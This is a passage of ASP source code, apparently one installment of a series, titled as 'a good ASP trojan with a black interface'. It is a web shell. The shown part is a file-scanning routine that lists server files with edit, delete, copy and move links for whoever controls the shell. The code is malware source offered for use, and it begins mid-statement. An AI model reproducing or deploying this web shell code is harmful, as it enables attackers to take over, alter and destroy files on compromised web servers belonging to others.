一款不错的asp木马 黑色界面(36)

&"</td><td>"&theDate&"</td></tr>"
                    Sun = Sun + 1
                    Exit Sub
                End If
                ofile.close()
                Set ofile = Nothing
                Set FSO2s = Nothing
            Else
                temp = "<a 
href=""http://"&Request.Servervariables("server_name")&"/"&tURLEncode
(replace(replace(FilePath,server.MapPath("\")&"\","",1,1,1),"\","/"))
&""" target=_blank>"&replace(thePath,server.MapPath("\")&"\","",1,1,1)
&"</a> "
    temp=temp&"<a href='javascript:FullForm("""&replace(replace
(FilePath,server.MapPath("\")&"\","",1,1,1),"\","\\")
&""",""EditFile"")' class='am' title='编辑'>编辑</a> "
    temp=temp&"<a href='javascript:FullForm("""&replace(replace
(FilePath,server.MapPath("\")&"\","",1,1,1),"\","\\")&""",""DelFile"")' 
 onclick='return yesok()' class='am' title='删除'>删除</a > "
    temp=temp&"<a href='javascript:FullForm("""&replace(replace
(FilePath,server.MapPath("\")&"\","",1,1,1),"\","\\")
&""",""CopyFile"")' class='am' title='复制'>复制</a> "
    temp=temp&"<a href='javascript:FullForm("""&replace(replace
(FilePath,server.MapPath("\")&"\","",1,1,1),"\","\\")
&""",""MoveFile"")' class='am' title='移动'>移动</a>"    
                Report = Report&"<tr><td 
height=30>"&temp&"</td><td>"&GetDateCreate(thePath)
&"</td><td>"&theDate&"</td></tr>"
                Sun = Sun + 1
                Exit Sub
            End If
        End If
    Next
End Sub